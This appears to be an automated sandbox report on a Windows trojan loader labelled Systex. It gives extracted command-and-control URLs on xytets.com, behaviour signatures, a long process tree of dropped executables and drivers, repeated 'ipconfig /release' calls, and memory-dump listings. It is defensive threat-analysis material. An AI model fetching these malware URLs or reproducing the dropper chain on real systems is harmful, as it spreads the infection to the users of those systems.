Analysis
- max time kernel
149s - max time network
145s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
18/07/2026, 03:51
General
- Target 2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
- Size 291KB
- Sample260718-eexctsfv3n
- SHA256 b3936d2e3e3a495a92cc22a2a9df5e4aac733f80878d0c7ce5bf2bca08cb127d
Malware Config
Extracted
-
systex
-
http://xytets.com:2345/t.asp?os=wangba8102
-
http://xytets.com:2345/ll/out.txt
-
http://xytets.com:2345/t.asp?os=home8102
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- UPX dump on OEP (original entry point) 64 IoCs
- Executes dropped EXE 64 IoCs
- UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- System Location Discovery: System Language Discovery 1 TTPs 42 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 19 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 52 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 19 IoCs
- Suspicious use of AdjustPrivilegeToken 18 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 10 IoCs
- Suspicious use of WriteProcessMemory 62 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-17_5415af921dd50681ab53318877857e15_coinminer_elex_redline-stealer_rhadamanthys_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home81022⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2268 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:540 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\hczusmkezu.exe ups_run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\hczusmkezu.exeC:\Temp\hczusmkezu.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_hczusmkezu.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_hczusmkezu.exeC:\Temp\i_hczusmkezu.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\zpjhbztrmj.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\zpjhbztrmj.exeC:\Temp\zpjhbztrmj.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_zpjhbztrmj.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_zpjhbztrmj.exeC:\Temp\i_zpjhbztrmj.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ztrljebwuo.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\ztrljebwuo.exeC:\Temp\ztrljebwuo.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ztrljebwuo.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_ztrljebwuo.exeC:\Temp\i_ztrljebwuo.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\dbwtolgbyt.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\dbwtolgbyt.exeC:\Temp\dbwtolgbyt.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_dbwtolgbyt.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_dbwtolgbyt.exeC:\Temp\i_dbwtolgbyt.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\lgdywqoiga.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\lgdywqoiga.exeC:\Temp\lgdywqoiga.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_lgdywqoiga.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_lgdywqoiga.exeC:\Temp\i_lgdywqoiga.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\nigaysqkid.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\nigaysqkid.exeC:\Temp\nigaysqkid.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_nigaysqkid.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_nigaysqkid.exeC:\Temp\i_nigaysqkid.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\dxvpnhfaxs.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\dxvpnhfaxs.exeC:\Temp\dxvpnhfaxs.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_dxvpnhfaxs.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_dxvpnhfaxs.exeC:\Temp\i_dxvpnhfaxs.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\nhfzxspkhc.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\nhfzxspkhc.exeC:\Temp\nhfzxspkhc.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_nhfzxspkhc.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_nhfzxspkhc.exeC:\Temp\i_nhfzxspkhc.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\zusmkecxup.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\zusmkecxup.exeC:\Temp\zusmkecxup.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_zusmkecxup.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_zusmkecxup.exeC:\Temp\i_zusmkecxup.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ebwuomgezw.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\ebwuomgezw.exeC:\Temp\ebwuomgezw.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ebwuomgezw.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_ebwuomgezw.exeC:\Temp\i_ebwuomgezw.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\eztrljebwu.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\eztrljebwu.exeC:\Temp\eztrljebwu.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_eztrljebwu.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_eztrljebwu.exeC:\Temp\i_eztrljebwu.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ojgbvtolge.exe ups_run2⤵
-
C:\Temp\ojgbvtolge.exeC:\Temp\ojgbvtolge.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ojgbvtolge.exe ups_ins2⤵
-
C:\Temp\i_ojgbvtolge.exeC:\Temp\i_ojgbvtolge.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\dyvqoigays.exe ups_run2⤵
-
C:\Temp\dyvqoigays.exeC:\Temp\dyvqoigays.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_dyvqoigays.exe ups_ins2⤵
-
C:\Temp\i_dyvqoigays.exeC:\Temp\i_dyvqoigays.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ysqkicavsn.exe ups_run2⤵
-
C:\Temp\ysqkicavsn.exeC:\Temp\ysqkicavsn.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ysqkicavsn.exe ups_ins2⤵
-
C:\Temp\i_ysqkicavsn.exeC:\Temp\i_ysqkicavsn.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\kicankfdxv.exe ups_run2⤵
-
C:\Temp\kicankfdxv.exeC:\Temp\kicankfdxv.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_kicankfdxv.exe ups_ins2⤵
-
C:\Temp\i_kicankfdxv.exeC:\Temp\i_kicankfdxv.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\vpkicaupkh.exe ups_run2⤵
-
C:\Temp\vpkicaupkh.exeC:\Temp\vpkicaupkh.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_vpkicaupkh.exe ups_ins2⤵
-
C:\Temp\i_vpkicaupkh.exeC:\Temp\i_vpkicaupkh.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\hfzxrpkhca.exe ups_run2⤵
-
C:\Temp\hfzxrpkhca.exeC:\Temp\hfzxrpkhca.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_hfzxrpkhca.exe ups_ins2⤵
-
C:\Temp\i_hfzxrpkhca.exeC:\Temp\i_hfzxrpkhca.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\rmkecwuomh.exe ups_run2⤵
-
C:\Temp\rmkecwuomh.exeC:\Temp\rmkecwuomh.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_rmkecwuomh.exe ups_ins2⤵
-
C:\Temp\i_rmkecwuomh.exeC:\Temp\i_rmkecwuomh.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\gbztrljdbw.exe ups_run2⤵
-
C:\Temp\gbztrljdbw.exeC:\Temp\gbztrljdbw.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_gbztrljdbw.exe ups_ins2⤵
-
C:\Temp\i_gbztrljdbw.exeC:\Temp\i_gbztrljdbw.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ytrljdbwto.exe ups_run2⤵
-
-
C:\Temp\mhezxrpjhc.sysC:\Temp\mhezxrpjhc.sys1⤵
- Executes dropped EXE
-
C:\Temp\jebwuomgey.sysC:\Temp\jebwuomgey.sys1⤵
- Executes dropped EXE
-
C:\Temp\oigbytrljd.sysC:\Temp\oigbytrljd.sys1⤵
- Executes dropped EXE
-
C:\Temp\sqlidbvtnl.sysC:\Temp\sqlidbvtnl.sys1⤵
- Executes dropped EXE
-
C:\Temp\gaysqlidbv.sysC:\Temp\gaysqlidbv.sys1⤵
- Executes dropped EXE
-
C:\Temp\nhfaxsqkic.sysC:\Temp\nhfaxsqkic.sys1⤵
- Executes dropped EXE
-
C:\Temp\xspkicausn.sysC:\Temp\xspkicausn.sys1⤵
- Executes dropped EXE
-
C:\Temp\hfzxrpjhcz.sysC:\Temp\hfzxrpjhcz.sys1⤵
- Executes dropped EXE
-
C:\Temp\ljebwuomge.sysC:\Temp\ljebwuomge.sys1⤵
- Executes dropped EXE
-
C:\Temp\ytrljdbwto.sysC:\Temp\ytrljdbwto.sys1⤵
-
C:\Temp\oigaytqljd.sysC:\Temp\oigaytqljd.sys1⤵
-
C:\Temp\idbvtnlfdy.sysC:\Temp\idbvtnlfdy.sys1⤵
-
C:\Temp\dynlfdxvqn.sysC:\Temp\dynlfdxvqn.sys1⤵
-
C:\Temp\causnkfcxv.sysC:\Temp\causnkfcxv.sys1⤵
-
C:\Temp\smkecxupmh.sysC:\Temp\smkecxupmh.sys1⤵
-
C:\Temp\keuomhezxr.sysC:\Temp\keuomhezxr.sys1⤵
-
C:\Temp\zxrpjhbzur.sysC:\Temp\zxrpjhbzur.sys1⤵
-
C:\Temp\jebwtomgey.sysC:\Temp\jebwtomgey.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CP.exe
dbwtolgbyt.exe
dxvpnhfaxs.exe
gaysqlidbv.sys
hczusmkezu.exe
i_dbwtolgbyt.exe
i_dxvpnhfaxs.exe
i_hczusmkezu.exe
i_lgdywqoiga.exe
i_nigaysqkid.exe
i_zpjhbztrmj.exe
i_ztrljebwuo.exe
jebwuomgey.sys
lgdywqoiga.exe
mhezxrpjhc.sys
nhfaxsqkic.sys
nhfzxspkhc.exe
nigaysqkid.exe
oigbytrljd.sys
sqlidbvtnl.sys
xspkicausn.sys
zpjhbztrmj.exe
ztrljebwuo.exe
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
RecoveryStore.{0130AA30-825C-11F1-BC3D-C2D11B6ECFEC}.dat
RecoveryStore.{013549CF-825C-11F1-BC3D-C2D11B6ECFEC}.dat
suggestions[1].en-US
memory/444-183-0x00000000000B0000-0x00000000000FB000-memory.dmp
memory/444-182-0x00000000000B0000-0x00000000000FB000-memory.dmp
memory/556-212-0x00000000007B0000-0x00000000007FB000-memory.dmp
memory/556-210-0x00000000007B0000-0x00000000007FB000-memory.dmp
memory/700-45-0x0000000000D30000-0x0000000000D7B000-memory.dmp
memory/700-42-0x0000000000D30000-0x0000000000D7B000-memory.dmp
memory/880-91-0x0000000000FD0000-0x000000000101B000-memory.dmp
memory/880-88-0x0000000000FD0000-0x000000000101B000-memory.dmp
memory/932-213-0x0000000000010000-0x0000000000083000-memory.dmp
memory/976-137-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1032-98-0x0000000000F70000-0x0000000000FBB000-memory.dmp
memory/1032-100-0x0000000000F70000-0x0000000000FBB000-memory.dmp
memory/1096-109-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1120-148-0x0000000000BE0000-0x0000000000C2B000-memory.dmp
memory/1120-150-0x0000000000BE0000-0x0000000000C2B000-memory.dmp
memory/1280-61-0x00000000004E0000-0x000000000052B000-memory.dmp
memory/1280-58-0x00000000004E0000-0x000000000052B000-memory.dmp
memory/1528-110-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1528-93-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1648-73-0x0000000000AE0000-0x0000000000B2B000-memory.dmp
memory/1648-65-0x0000000000AE0000-0x0000000000B2B000-memory.dmp
memory/1672-38-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1696-154-0x0000000000840000-0x000000000088B000-memory.dmp
memory/1696-153-0x0000000000840000-0x000000000088B000-memory.dmp
memory/1804-226-0x0000000000130000-0x000000000017B000-memory.dmp
memory/1804-228-0x0000000000130000-0x000000000017B000-memory.dmp
memory/1940-130-0x0000000000180000-0x00000000001CB000-memory.dmp
memory/1940-132-0x0000000000180000-0x00000000001CB000-memory.dmp
memory/1952-146-0x00000000005F0000-0x000000000063B000-memory.dmp
memory/1952-145-0x00000000005F0000-0x000000000063B000-memory.dmp
memory/2028-84-0x0000000000050000-0x000000000009B000-memory.dmp
memory/2028-82-0x0000000000050000-0x000000000009B000-memory.dmp
memory/2264-169-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2264-180-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2424-191-0x0000000000D50000-0x0000000000D9B000-memory.dmp
memory/2424-190-0x0000000000D50000-0x0000000000D9B000-memory.dmp
memory/2508-143-0x00000000008D0000-0x000000000091B000-memory.dmp
memory/2508-142-0x00000000008D0000-0x000000000091B000-memory.dmp
memory/2524-179-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2652-22-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2720-124-0x0000000000900000-0x000000000094B000-memory.dmp
memory/2720-122-0x0000000000900000-0x000000000094B000-memory.dmp
memory/2752-229-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2820-54-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2956-75-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3036-223-0x0000000000F70000-0x0000000000FBB000-memory.dmp
memory/3036-224-0x0000000000F70000-0x0000000000FBB000-memory.dmp
memory/3040-136-0x00000000006E0000-0x000000000072B000-memory.dmp
memory/3040-134-0x00000000006E0000-0x000000000072B000-memory.dmp
memory/3152-107-0x0000000000F60000-0x0000000000FAB000-memory.dmp
memory/3152-105-0x0000000000F60000-0x0000000000FAB000-memory.dmp
memory/3244-33-0x0000000000A50000-0x0000000000A9B000-memory.dmp
memory/3244-36-0x0000000000A50000-0x0000000000A9B000-memory.dmp
memory/3312-231-0x00000000004A0000-0x00000000004EB000-memory.dmp
memory/3312-232-0x00000000004A0000-0x00000000004EB000-memory.dmp
memory/3368-49-0x0000000000A90000-0x0000000000ADB000-memory.dmp
memory/3368-52-0x0000000000A90000-0x0000000000ADB000-memory.dmp
memory/3388-151-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3432-139-0x0000000000650000-0x000000000069B000-memory.dmp
memory/3432-140-0x0000000000650000-0x000000000069B000-memory.dmp
memory/3512-205-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3616-197-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3820-207-0x00000000005E0000-0x000000000062B000-memory.dmp
memory/3820-208-0x00000000005E0000-0x000000000062B000-memory.dmp
memory/3848-20-0x00000000002D0000-0x000000000031B000-memory.dmp
memory/3848-0-0x00000000002D0000-0x000000000031B000-memory.dmp
memory/3868-221-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4280-26-0x0000000000D90000-0x0000000000DDB000-memory.dmp
memory/4280-29-0x0000000000D90000-0x0000000000DDB000-memory.dmp
memory/4356-188-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4356-196-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4396-117-0x00000000002D0000-0x000000000031B000-memory.dmp
memory/4396-115-0x00000000002D0000-0x000000000031B000-memory.dmp
memory/4416-215-0x0000000000D20000-0x0000000000D6B000-memory.dmp
memory/4416-216-0x0000000000D20000-0x0000000000D6B000-memory.dmp
memory/4464-220-0x0000000000010000-0x000000000005B000-memory.dmp
memory/4464-218-0x0000000000010000-0x000000000005B000-memory.dmp
memory/4496-202-0x0000000000740000-0x000000000078B000-memory.dmp
memory/4496-204-0x0000000000740000-0x000000000078B000-memory.dmp
memory/4512-19-0x0000000000DE0000-0x0000000000E2B000-memory.dmp
memory/4512-17-0x0000000000DE0000-0x0000000000E2B000-memory.dmp
memory/4624-193-0x0000000000470000-0x00000000004BB000-memory.dmp
memory/4624-195-0x0000000000470000-0x00000000004BB000-memory.dmp
memory/4636-200-0x0000000000DC0000-0x0000000000E0B000-memory.dmp
memory/4636-199-0x0000000000DC0000-0x0000000000E0B000-memory.dmp
memory/4820-166-0x00000000009B0000-0x00000000009FB000-memory.dmp
memory/4820-168-0x00000000009B0000-0x00000000009FB000-memory.dmp
memory/4836-126-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4892-10-0x00000000009F0000-0x0000000000A3B000-memory.dmp
memory/4892-12-0x00000000009F0000-0x0000000000A3B000-memory.dmp
memory/4916-171-0x0000000000BC0000-0x0000000000C0B000-memory.dmp
memory/4916-172-0x0000000000BC0000-0x0000000000C0B000-memory.dmp
memory/4992-176-0x00000000008A0000-0x00000000008EB000-memory.dmp
memory/4992-178-0x00000000008A0000-0x00000000008EB000-memory.dmp
memory/5076-185-0x0000000000B40000-0x0000000000B8B000-memory.dmp
memory/5076-187-0x0000000000B40000-0x0000000000B8B000-memory.dmp